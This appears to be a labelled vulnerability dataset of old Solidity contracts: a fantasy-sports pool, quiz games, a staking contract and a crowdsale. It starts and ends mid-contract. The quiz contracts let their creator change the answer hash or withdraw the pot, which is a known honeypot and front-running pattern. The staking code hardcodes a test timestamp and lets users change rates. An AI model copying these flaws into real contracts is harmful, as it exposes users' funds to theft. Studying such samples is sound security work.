createEntry(uint date, uint[] teamIndices) payable withinCost(teamIndices) gameOpen(date) beforeCutoff(date) external { require(msg.value == ENTRY_FEE); require(gameRecords[date].numPlayers < MAX_ENTRIES); Entry memory entry; entry.timestamp = currentTime(); entry.player = msg.sender; entry.teamsSelected = teamIndices; gameRecords[date].entries.push(entry); gameRecords[date].numPlayers++; gameRecords[date].pool += ENTRY_FEE; uint entryIndex = gameRecords[date].players.push(msg.sender) - 1; gameRecords[date].entries[entryIndex].entryIndex = entryIndex; emit NewEntry(msg.sender, teamIndices); } // ANALYZING SCORES // Register teams (alphabetically) points total for each game function registerTeamScores(uint[] _scores) onlyOwner { allTeamsScores = _scores; } function registerTopPlayers(uint _date, uint[] _topPlayersIndices, uint[] _topScores) onlyOwner { gameRecords[_date].topPlayersIndices = _topPlayersIndices; for(uint i = 0; i < _topPlayersIndices.length; i++){ address player = gameRecords[_date].entries[_topPlayersIndices[i]].player; gameRecords[_date].topPlayersAddresses.push(player); } gameRecords[_date].topPlayersScores = _topScores; } // Allocate winnings to top 5 (or 5+ if ties) players function generateWinners(uint _date) onlyOwner { require(gameRecords[_date].closedTime < currentTime()); uint place = 1; uint iterator = 0; uint placeCount = 1; uint currentScore = 1; uint percentage = 0; uint amount = 0; while(place <= 5){ currentScore = gameRecords[_date].topPlayersScores[iterator]; if(gameRecords[_date].topPlayersScores[iterator + 1] == currentScore){ placeCount++; iterator++; } else { amount = 0; if(placeCount > 1){ percentage = 0; for(uint n = place; n <= (place + placeCount);n++){ if(n <= 5){ percentage += payoutPercentages[n]; } } amount = gameRecords[_date].pool / placeCount * percentage / 100; } else { amount = gameRecords[_date].pool * payoutPercentages[place] / 100; } for(uint i = place - 1; i < (place + placeCount - 1); i++){ address winnerAddress = gameRecords[_date].entries[gameRecords[_date].topPlayersIndices[i]].player; gameRecords[_date].winnerAddresses.push(winnerAddress); gameRecords[_date].winnerAmounts.push(amount); } iterator++; place += placeCount; placeCount = 1; } } allTimeGames.push(gameRecords[_date]); } function assignWinnings(uint _date) onlyOwner { address[] storage winners = gameRecords[_date].winnerAddresses; uint[] storage winnerAmounts = gameRecords[_date].winnerAmounts; for(uint z = 0; z < winners.length; z++){ address currentWinner = winners[z]; uint currentRedeemable = availableWinnings[currentWinner]; uint newRedeemable = currentRedeemable + winnerAmounts[z]; availableWinnings[currentWinner] = newRedeemable; debt += winnerAmounts[z]; } } function redeem() external returns(bool success) { require(availableWinnings[msg.sender] > 0); uint amount = availableWinnings[msg.sender]; availableWinnings[msg.sender] = 0; debt -= amount; msg.sender.transfer(amount); return true; } function getAvailableWinnings(address _address) view returns(uint amount){ return availableWinnings[_address]; } // OTHER USEFUL FUNCTIONS / TESTING function currentTime() view returns (uint _currentTime) { return now; } function getPointsToSpend() view returns(uint _POINTS_TO_SPEND) { return POINTS_TO_SPEND; } function getGameNumberOfEntries(uint _date) view returns(uint _length){ return gameRecords[_date].entries.length; } function getCutoffTime(uint _date) view returns(uint cutoff){ return gameRecords[_date].closedTime; } function getTeamScore(uint _teamIndex) view returns(uint score){ return allTeamsScores[_teamIndex]; } function getAllTeamScores() view returns(uint[] scores){ return allTeamsScores; } function getAllPlayers(uint _date) view returns(address[] _players){ return gameRecords[_date].players; } function getTopPlayerScores(uint _date) view returns(uint[] scores){ return gameRecords[_date].topPlayersScores; } function getTopPlayers(uint _date) view returns(address[] _players){ return gameRecords[_date].topPlayersAddresses; } function getWinners(uint _date) view returns(uint[] _amounts, address[] _players){ return (gameRecords[_date].winnerAmounts, gameRecords[_date].winnerAddresses); } function getNumEntries(uint _date) view returns(uint _num){ return gameRecords[_date].numPlayers; } function getPoolValue(uint _date) view returns(uint amount){ return gameRecords[_date].pool; } function getBalance() view returns(uint _amount) { return address(this).balance; } function getTeamCost(uint _index) constant returns(uint cost){ return allTeamsCosts[_index]; } function getAllTeamCosts() view returns(uint[] costs){ return allTeamsCosts; } function getPastGameResults(uint _gameIndex) view returns(address[] topPlayers, uint[] topPlayersScores, uint[] winnings){ return (allTimeGames[_gameIndex].topPlayersAddresses, allTimeGames[_gameIndex].topPlayersScores, allTimeGames[_gameIndex].winnerAmounts ); } function getPastGamesLength() view returns(uint _length){ return allTimeGames.length; } function getEntry(uint _date, uint _index) view returns( address playerAddress, uint[] teamsSelected, uint entryIndex ){ return (gameRecords[_date].entries[_index].player, gameRecords[_date].entries[_index].teamsSelected, gameRecords[_date].entries[_index].entryIndex); } }
TOD1
pragma solidity ^0.4.20; contract CONUNDRUM { string public question; address questionSender; bytes32 responseHash; function StartGame(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function Play(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>1 ether) { msg.sender.transfer(this.balance); } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { require(msg.sender==questionSender); question = _question; responseHash = _responseHash; } function() public payable{} }
TOD1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnerChanged(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function changeOwner(address _newOwner) onlyOwner public { require(_newOwner != address(0)); OwnerChanged(owner, _newOwner); owner = _newOwner; } } contract ContractStakeToken is Ownable { using SafeMath for uint256; enum TypeStake {DAY, WEEK, MONTH} TypeStake typeStake; enum StatusStake {ACTIVE, COMPLETED, CANCEL} struct TransferInStructToken { uint256 indexStake; bool isRipe; } struct StakeStruct { address owner; uint256 amount; TypeStake stakeType; uint256 time; StatusStake status; } StakeStruct[] arrayStakesToken; uint256[] public rates = [101, 109, 136]; uint256 public totalDepositTokenAll; uint256 public totalWithdrawTokenAll; mapping (address => uint256) balancesToken; mapping (address => uint256) totalDepositToken; mapping (address => uint256) totalWithdrawToken; mapping (address => TransferInStructToken[]) transferInsToken; mapping (address => bool) public contractUsers; event Withdraw(address indexed receiver, uint256 amount); function ContractStakeToken(address _owner) public { require(_owner != address(0)); owner = _owner; //owner = msg.sender; // for test's } modifier onlyOwnerOrUser() { require(msg.sender == owner || contractUsers[msg.sender]); _; } /** * @dev Add an contract admin */ function setContractUser(address _user, bool _isUser) public onlyOwner { contractUsers[_user] = _isUser; } // fallback function can be used to buy tokens function() payable public { //deposit(msg.sender, msg.value, TypeStake.DAY, now); } function depositToken(address _investor, TypeStake _stakeType, uint256 _time, uint256 _value) onlyOwnerOrUser external returns (bool){ require(_investor != address(0)); require(_value > 0); require(transferInsToken[_investor].length < 31); balancesToken[_investor] = balancesToken[_investor].add(_value); totalDepositToken[_investor] = totalDepositToken[_investor].add(_value); totalDepositTokenAll = totalDepositTokenAll.add(_value); uint256 indexStake = arrayStakesToken.length; arrayStakesToken.push(StakeStruct({ owner : _investor, amount : _value, stakeType : _stakeType, time : _time, status : StatusStake.ACTIVE })); transferInsToken[_investor].push(TransferInStructToken(indexStake, false)); return true; } /** * @dev Function checks how much you can remove the Token * @param _address The address of depositor. * @param _now The current time. * @return the amount of Token that can be withdrawn from contract */ function validWithdrawToken(address _address, uint256 _now) public returns (uint256){ require(_address != address(0)); uint256 amount = 0; if (balancesToken[_address] <= 0 || transferInsToken[_address].length <= 0) { return amount; } for (uint i = 0; i < transferInsToken[_address].length; i++) { uint256 indexCurStake = transferInsToken[_address][i].indexStake; TypeStake stake = arrayStakesToken[indexCurStake].stakeType; uint256 stakeTime = arrayStakesToken[indexCurStake].time; uint256 stakeAmount = arrayStakesToken[indexCurStake].amount; uint8 currentStake = 0; if (arrayStakesToken[transferInsToken[_address][i].indexStake].status == StatusStake.CANCEL) { amount = amount.add(stakeAmount); transferInsToken[_address][i].isRipe = true; continue; } if (stake == TypeStake.DAY) { currentStake = 0; if (_now < stakeTime.add(1 days)) continue; } if (stake == TypeStake.WEEK) { currentStake = 1; if (_now < stakeTime.add(7 days)) continue; } if (stake == TypeStake.MONTH) { currentStake = 2; if (_now < stakeTime.add(730 hours)) continue; } uint256 amountHours = _now.sub(stakeTime).div(1 hours); stakeAmount = calculator(currentStake, stakeAmount, amountHours); amount = amount.add(stakeAmount); transferInsToken[_address][i].isRipe = true; arrayStakesToken[transferInsToken[_address][i].indexStake].status = StatusStake.COMPLETED; } return amount; } function withdrawToken(address _address) onlyOwnerOrUser public returns (uint256){ require(_address != address(0)); uint256 _currentTime = now; _currentTime = 1525651200; // for test uint256 _amount = validWithdrawToken(_address, _currentTime); require(_amount > 0); totalWithdrawToken[_address] = totalWithdrawToken[_address].add(_amount); totalWithdrawTokenAll = totalWithdrawTokenAll.add(_amount); while (clearTransferInsToken(_address) == false) { clearTransferInsToken(_address); } Withdraw(_address, _amount); return _amount; } function clearTransferInsToken(address _owner) private returns (bool) { for (uint i = 0; i < transferInsToken[_owner].length; i++) { if (transferInsToken[_owner][i].isRipe == true) { balancesToken[_owner] = balancesToken[_owner].sub(arrayStakesToken[transferInsToken[_owner][i].indexStake].amount); removeMemberArrayToken(_owner, i); return false; } } return true; } function removeMemberArrayToken(address _address, uint index) private { if (index >= transferInsToken[_address].length) return; for (uint i = index; i < transferInsToken[_address].length - 1; i++) { transferInsToken[_address][i] = transferInsToken[_address][i + 1]; } delete transferInsToken[_address][transferInsToken[_address].length - 1]; transferInsToken[_address].length--; } function balanceOfToken(address _owner) public view returns (uint256 balance) { return balancesToken[_owner]; } function cancel(uint256 _index, address _address) onlyOwnerOrUser public returns (bool _result) { require(_index >= 0); require(_address != address(0)); if(_address != arrayStakesToken[_index].owner){ return false; } arrayStakesToken[_index].status = StatusStake.CANCEL; return true; } function withdrawOwner(uint256 _amount) public onlyOwner returns (bool) { require(this.balance >= _amount); owner.transfer(_amount); Withdraw(owner, _amount); } function changeRates(uint8 _numberRate, uint256 _percent) onlyOwnerOrUser public returns (bool) { require(_percent >= 0); require(0 <= _numberRate && _numberRate < 3); rates[_numberRate] = _percent.add(100); return true; } function getTokenStakeByIndex(uint256 _index) onlyOwnerOrUser public view returns ( address _owner, uint256 _amount, TypeStake _stakeType, uint256 _time, StatusStake _status ) { require(_index < arrayStakesToken.length); _owner = arrayStakesToken[_index].owner; _amount = arrayStakesToken[_index].amount; _stakeType = arrayStakesToken[_index].stakeType; _time = arrayStakesToken[_index].time; _status = arrayStakesToken[_index].status; } function getTokenTransferInsByAddress(address _address, uint256 _index) onlyOwnerOrUser public view returns ( uint256 _indexStake, bool _isRipe ) { require(_index < transferInsToken[_address].length); _indexStake = transferInsToken[_address][_index].indexStake; _isRipe = transferInsToken[_address][_index].isRipe; } function getCountTransferInsToken(address _address) public view returns (uint256 _count) { _count = transferInsToken[_address].length; } function getCountStakesToken() public view returns (uint256 _count) { _count = arrayStakesToken.length; } function getTotalTokenDepositByAddress(address _owner) public view returns (uint256 _amountToken) { return totalDepositToken[_owner]; } function getTotalTokenWithdrawByAddress(address _owner) public view returns (uint256 _amountToken) { return totalWithdrawToken[_owner]; } function removeContract() public onlyOwner { selfdestruct(owner); } function calculator(uint8 _currentStake, uint256 _amount, uint256 _amountHours) public view returns (uint256 stakeAmount){ uint32 i = 0; uint256 number = 0; stakeAmount = _amount; if (_currentStake == 0) { number = _amountHours.div(24); } if (_currentStake == 1) { number = _amountHours.div(168); } if (_currentStake == 2) { number = _amountHours.div(730); } while(i < number){ stakeAmount= stakeAmount.mul(rates[_currentStake]).div(100); i++; } } }
TOD1
pragma solidity ^0.4.20; contract take_away { function Try(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>3 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function StartGame(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { if(msg.sender==questionSender){ question = _question; responseHash = _responseHash; } } function newQuestioner(address newAddress) public { if(msg.sender==questionSender)questionSender = newAddress; } function() public payable{} }
TOD1
pragma solidity ^0.4.18; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } // ERC20 token interface is implemented only partially. interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract NamiCrowdSale { using SafeMath for uint256; /// NAC Broker Presale Token /// @dev Constructor function NamiCrowdSale(address _escrow, address _namiMultiSigWallet, address _namiPresale) public { require(_namiMultiSigWallet != 0x0); escrow = _escrow; namiMultiSigWallet = _namiMultiSigWallet; namiPresale = _namiPresale; } /*/ * Constants /*/ string public name = "Nami ICO"; string public symbol = "NAC"; uint public decimals = 18; bool public TRANSFERABLE = false; // default not transferable uint public constant TOKEN_SUPPLY_LIMIT = 1000000000 * (1 ether / 1 wei); uint public binary = 0; /*/ * Token state /*/ enum Phase { Created, Running, Paused, Migrating, Migrated } Phase public currentPhase = Phase.Created; uint public totalSupply = 0; // amount of tokens already sold // escrow has exclusive priveleges to call administrative // functions on this contract. address public escrow; // Gathered funds can be withdrawn only to namimultisigwallet's address. address public namiMultiSigWallet; // nami presale contract address public namiPresale; // Crowdsale manager has exclusive priveleges to burn presale tokens. address public crowdsaleManager; // binary option address address public binaryAddress; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; modifier onlyCrowdsaleManager() { require(msg.sender == crowdsaleManager); _; } modifier onlyEscrow() { require(msg.sender == escrow); _; } modifier onlyTranferable() { require(TRANSFERABLE); _; } modifier onlyNamiMultisig() { require(msg.sender == namiMultiSigWallet); _; } /*/ * Events /*/ event LogBuy(address indexed owner, uint value); event LogBurn(address indexed owner, uint value); event LogPhaseSwitch(Phase newPhase); // Log migrate token event LogMigrate(address _from, address _to, uint256 amount); // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); /*/ * Public functions /*/ /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } // Transfer the balance from owner's account to another account // only escrow can send token (to send token private sale) function transferForTeam(address _to, uint256 _value) public onlyEscrow { _transfer(msg.sender, _to, _value); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public onlyTranferable { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public onlyTranferable returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public onlyTranferable returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public onlyTranferable returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } // allows transfer token function changeTransferable () public onlyEscrow { TRANSFERABLE = !TRANSFERABLE; } // change escrow function changeEscrow(address _escrow) public onlyNamiMultisig { require(_escrow != 0x0); escrow = _escrow; } // change binary value function changeBinary(uint _binary) public onlyEscrow { binary = _binary; } // change binary address function changeBinaryAddress(address _binaryAddress) public onlyEscrow { require(_binaryAddress != 0x0); binaryAddress = _binaryAddress; } /* * price in ICO: * first week: 1 ETH = 2400 NAC * second week: 1 ETH = 23000 NAC * 3rd week: 1 ETH = 2200 NAC * 4th week: 1 ETH = 2100 NAC * 5th week: 1 ETH = 2000 NAC * 6th week: 1 ETH = 1900 NAC * 7th week: 1 ETH = 1800 NAC * 8th week: 1 ETH = 1700 nac * time: * 1517443200: Thursday, February 1, 2018 12:00:00 AM * 1518048000: Thursday, February 8, 2018 12:00:00 AM * 1518652800: Thursday, February 15, 2018 12:00:00 AM * 1519257600: Thursday, February 22, 2018 12:00:00 AM * 1519862400: Thursday, March 1, 2018 12:00:00 AM * 1520467200: Thursday, March 8, 2018 12:00:00 AM * 1521072000: Thursday, March 15, 2018 12:00:00 AM * 1521676800: Thursday, March 22, 2018 12:00:00 AM * 1522281600: Thursday, March 29, 2018 12:00:00 AM */ function getPrice() public view returns (uint price) { if (now < 1517443200) { // presale return 3450; } else if (1517443200 < now && now <= 1518048000) { // 1st week return 2400; } else if (1518048000 < now && now <= 1518652800) { // 2nd week return 2300; } else if (1518652800 < now && now <= 1519257600) { // 3rd week return 2200; } else if (1519257600 < now && now <= 1519862400) { // 4th week return 2100; } else if (1519862400 < now && now <= 1520467200) { // 5th week return 2000; } else if (1520467200 < now && now <= 1521072000) { // 6th week return 1900; } else if (1521072000 < now && now <= 1521676800) { // 7th week return 1800; } else if (1521676800 < now && now <= 1522281600) { // 8th week return 1700; } else { return binary; } } function() payable public { buy(msg.sender); } function buy(address _buyer) payable public { // Available only if presale is running. require(currentPhase == Phase.Running); // require ICO time or binary option require(now <= 1522281600 || msg.sender == binaryAddress); require(msg.value != 0); uint newTokens = msg.value * getPrice(); require (totalSupply + newTokens < TOKEN_SUPPLY_LIMIT); // add new token to buyer balanceOf[_buyer] = balanceOf[_buyer].add(newTokens); // add new token to totalSupply totalSupply = totalSupply.add(newTokens); LogBuy(_buyer,newTokens); Transfer(this,_buyer,newTokens); } /// @dev Returns number of tokens owned by given address. /// @param _owner Address of token owner. function burnTokens(address _owner) public onlyCrowdsaleManager { // Available only during migration phase require(currentPhase == Phase.Migrating); uint tokens = balanceOf[_owner]; require(tokens != 0); balanceOf[_owner] = 0; totalSupply -= tokens; LogBurn(_owner, tokens); Transfer(_owner, crowdsaleManager, tokens); // Automatically switch phase when migration is done. if (totalSupply == 0) { currentPhase = Phase.Migrated; LogPhaseSwitch(Phase.Migrated); } } /*/ * Administrative functions /*/ function setPresalePhase(Phase _nextPhase) public onlyEscrow { bool canSwitchPhase = (currentPhase == Phase.Created && _nextPhase == Phase.Running) || (currentPhase == Phase.Running && _nextPhase == Phase.Paused) // switch to migration phase only if crowdsale manager is set || ((currentPhase == Phase.Running || currentPhase == Phase.Paused) && _nextPhase == Phase.Migrating && crowdsaleManager != 0x0) || (currentPhase == Phase.Paused && _nextPhase == Phase.Running) // switch to migrated only if everyting is migrated || (currentPhase == Phase.Migrating && _nextPhase == Phase.Migrated && totalSupply == 0); require(canSwitchPhase); currentPhase = _nextPhase; LogPhaseSwitch(_nextPhase); } function withdrawEther(uint _amount) public onlyEscrow { require(namiMultiSigWallet != 0x0); // Available at any phase. if (this.balance > 0) { namiMultiSigWallet.transfer(_amount); } } function safeWithdraw(address _withdraw, uint _amount) public onlyEscrow { NamiMultiSigWallet namiWallet = NamiMultiSigWallet(namiMultiSigWallet); if (namiWallet.isOwner(_withdraw)) { _withdraw.transfer(_amount); } } function setCrowdsaleManager(address _mgr) public onlyEscrow { // You can't change crowdsale contract when migration is in progress. require(currentPhase != Phase.Migrating); crowdsaleManager = _mgr; } // internal migrate migration tokens function _migrateToken(address _from, address _to) internal { PresaleToken presale = PresaleToken(namiPresale); uint256 newToken = presale.balanceOf(_from); require(newToken > 0); // burn old token presale.burnTokens(_from); // add new token to _to balanceOf[_to] = balanceOf[_to].add(newToken); // add new token to totalSupply totalSupply = totalSupply.add(newToken); LogMigrate(_from, _to, newToken); Transfer(this,_to,newToken); } // migate token function for Nami Team function migrateToken(address _from, address _to) public onlyEscrow { _migrateToken(_from, _to); } // migrate token for investor function migrateForInvestor() public { _migrateToken(msg.sender, msg.sender); } // Nami internal exchange // event for Nami exchange event TransferToBuyer(address indexed _from, address indexed _to, uint _value, address indexed _seller); event TransferToExchange(address indexed _from, address indexed _to, uint _value, uint _price); /** * @dev Transfer the specified amount of tokens to the NamiExchange address. * Invokes the `tokenFallbackExchange` function. * The token transfer fails if the recipient is a contract * but does not implement the `tokenFallbackExchange` function * or the fallback function to receive funds. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _price price to sell token. */ function transferToExchange(address _to, uint _value, uint _price) public { uint codeLength; assembly { codeLength := extcodesize(_to) } balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender,_to,_value); if (codeLength > 0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallbackExchange(msg.sender, _value, _price); TransferToExchange(msg.sender, _to, _value, _price); } } /** * @dev Transfer the specified amount of tokens to the NamiExchange address. * Invokes the `tokenFallbackBuyer` function. * The token transfer fails if the recipient is a contract * but does not implement the `tokenFallbackBuyer` function * or the fallback function to receive funds. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _buyer address of seller. */ function transferToBuyer(address _to, uint _value, address _buyer) public { uint codeLength; assembly { codeLength := extcodesize(_to) } balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender,_to,_value); if (codeLength > 0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallbackBuyer(msg.sender, _value, _buyer); TransferToBuyer(msg.sender, _to, _value, _buyer); } } //------------------------------------------------------------------------------------------------------- } /* * Binary option smart contract------------------------------- */ contract BinaryOption { /* * binary option controled by escrow to buy NAC with good price */ // NamiCrowdSale address address public namiCrowdSaleAddr; address public escrow; // namiMultiSigWallet address public namiMultiSigWallet; Session public session; uint public timeInvestInMinute = 10; uint public timeOneSession = 15; uint public sessionId = 1; uint public rateWin = 100; uint public rateLoss = 20; uint public rateFee = 5; uint public constant MAX_INVESTOR = 20; uint public minimunEth = 10000000000000000; // minimunEth = 0.01 eth /** * Events for binany option system */ event SessionOpen(uint timeOpen, uint indexed sessionId); event InvestClose(uint timeInvestClose, uint priceOpen, uint indexed sessionId); event Invest(address indexed investor, bool choose, uint amount, uint timeInvest, uint indexed sessionId); event SessionClose(uint timeClose, uint indexed sessionId, uint priceClose, uint nacPrice, uint rateWin, uint rateLoss, uint rateFee); event Deposit(address indexed sender, uint value); /// @dev Fallback function allows to deposit ether. function() public payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } // there is only one session available at one timeOpen // priceOpen is price of ETH in USD // priceClose is price of ETH in USD // process of one Session // 1st: escrow reset session by run resetSession() // 2nd: escrow open session by run openSession() => save timeOpen at this time // 3rd: all investor can invest by run invest(), send minimum 0.1 ETH // 4th: escrow close invest and insert price open for this Session // 5th: escrow close session and send NAC for investor struct Session { uint priceOpen; uint priceClose; uint timeOpen; bool isReset; bool isOpen; bool investOpen; uint investorCount; mapping(uint => address) investor; mapping(uint => bool) win; mapping(uint => uint) amountInvest; } function BinaryOption(address _namiCrowdSale, address _escrow, address _namiMultiSigWallet) public { require(_namiCrowdSale != 0x0 && _escrow != 0x0); namiCrowdSaleAddr = _namiCrowdSale; escrow = _escrow; namiMultiSigWallet = _namiMultiSigWallet; } modifier onlyEscrow() { require(msg.sender==escrow); _; } modifier onlyNamiMultisig() { require(msg.sender == namiMultiSigWallet); _; } // change escrow function changeEscrow(address _escrow) public onlyNamiMultisig { require(_escrow != 0x0); escrow = _escrow; } // chagne minimunEth function changeMinEth(uint _minimunEth) public onlyEscrow { require(_minimunEth != 0); minimunEth = _minimunEth; } /// @dev Change time for investor can invest in one session, can only change at time not in session /// @param _timeInvest time invest in minutes ///---------------------------change time function------------------------------ function changeTimeInvest(uint _timeInvest) public onlyEscrow { require(!session.isOpen && _timeInvest < timeOneSession); timeInvestInMinute = _timeInvest; } function changeTimeOneSession(uint _timeOneSession) public onlyEscrow { require(!session.isOpen && _timeOneSession > timeInvestInMinute); timeOneSession = _timeOneSession; } /////------------------------change rate function------------------------------- function changeRateWin(uint _rateWin) public onlyEscrow { require(!session.isOpen); rateWin = _rateWin; } function changeRateLoss(uint _rateLoss) public onlyEscrow { require(!session.isOpen); rateLoss = _rateLoss; } function changeRateFee(uint _rateFee) public onlyEscrow { require(!session.isOpen); rateFee = _rateFee; } /// @dev withdraw ether to nami multisignature wallet, only escrow can call /// @param _amount value ether in wei to withdraw function withdrawEther(uint _amount) public onlyEscrow { require(namiMultiSigWallet != 0x0); // Available at any phase. if (this.balance > 0) { namiMultiSigWallet.transfer(_amount); } } /// @dev safe withdraw Ether to one of owner of nami multisignature wallet /// @param _withdraw address to withdraw function safeWithdraw(address _withdraw, uint _amount) public onlyEscrow { NamiMultiSigWallet namiWallet = NamiMultiSigWallet(namiMultiSigWallet); if (namiWallet.isOwner(_withdraw)) { _withdraw.transfer(_amount); } } // @dev Returns list of owners. // @return List of owner addresses. // MAX_INVESTOR = 20 function getInvestors() public view returns (address[20]) { address[20] memory listInvestor; for (uint i = 0; i < MAX_INVESTOR; i++) { listInvestor[i] = session.investor[i]; } return listInvestor; } function getChooses() public view returns (bool[20]) { bool[20] memory listChooses; for (uint i = 0; i < MAX_INVESTOR; i++) { listChooses[i] = session.win[i]; } return listChooses; } function getAmount() public view returns (uint[20]) { uint[20] memory listAmount; for (uint i = 0; i < MAX_INVESTOR; i++) { listAmount[i] = session.amountInvest[i]; } return listAmount; } /// @dev reset all data of previous session, must run before open new session // only escrow can call function resetSession() public onlyEscrow { require(!session.isReset && !session.isOpen); session.priceOpen = 0; session.priceClose = 0; session.isReset = true; session.isOpen = false; session.investOpen = false; session.investorCount = 0; for (uint i = 0; i < MAX_INVESTOR; i++) { session.investor[i] = 0x0; session.win[i] = false; session.amountInvest[i] = 0; } } /// @dev Open new session, only escrow can call function openSession () public onlyEscrow { require(session.isReset && !session.isOpen); session.isReset = false; // open invest session.investOpen = true; session.timeOpen = now; session.isOpen = true; SessionOpen(now, sessionId); } /// @dev Fuction for investor, minimun ether send is 0.1, one address can call one time in one session /// @param _choose choise of investor, true is call, false is put function invest (bool _choose) public payable { require(msg.value >= minimunEth && session.investOpen); // msg.value >= 0.1 ether require(now < (session.timeOpen + timeInvestInMinute * 1 minutes)); require(session.investorCount < MAX_INVESTOR); session.investor[session.investorCount] = msg.sender; session.win[session.investorCount] = _choose; session.amountInvest[session.investorCount] = msg.value; session.investorCount += 1; Invest(msg.sender, _choose, msg.value, now, sessionId); } /// @dev close invest for escrow /// @param _priceOpen price ETH in USD function closeInvest (uint _priceOpen) public onlyEscrow { require(_priceOpen != 0 && session.investOpen); require(now > (session.timeOpen + timeInvestInMinute * 1 minutes)); session.investOpen = false; session.priceOpen = _priceOpen; InvestClose(now, _priceOpen, sessionId); } /// @dev get amount of ether to buy NAC for investor /// @param _ether amount ether which investor invest /// @param _status true for investor win and false for investor loss function getEtherToBuy (uint _ether, bool _status) public view returns (uint) { if (_status) { return _ether * rateWin / 100; } else { return _ether * rateLoss / 100; } } /// @dev close session, only escrow can call /// @param _priceClose price of ETH in USD function closeSession (uint _priceClose) public onlyEscrow { require(_priceClose != 0 && now > (session.timeOpen + timeOneSession * 1 minutes)); require(!session.investOpen && session.isOpen); session.priceClose = _priceClose; bool result = (_priceClose>session.priceOpen)?true:false; uint etherToBuy; NamiCrowdSale namiContract = NamiCrowdSale(namiCrowdSaleAddr); uint price = 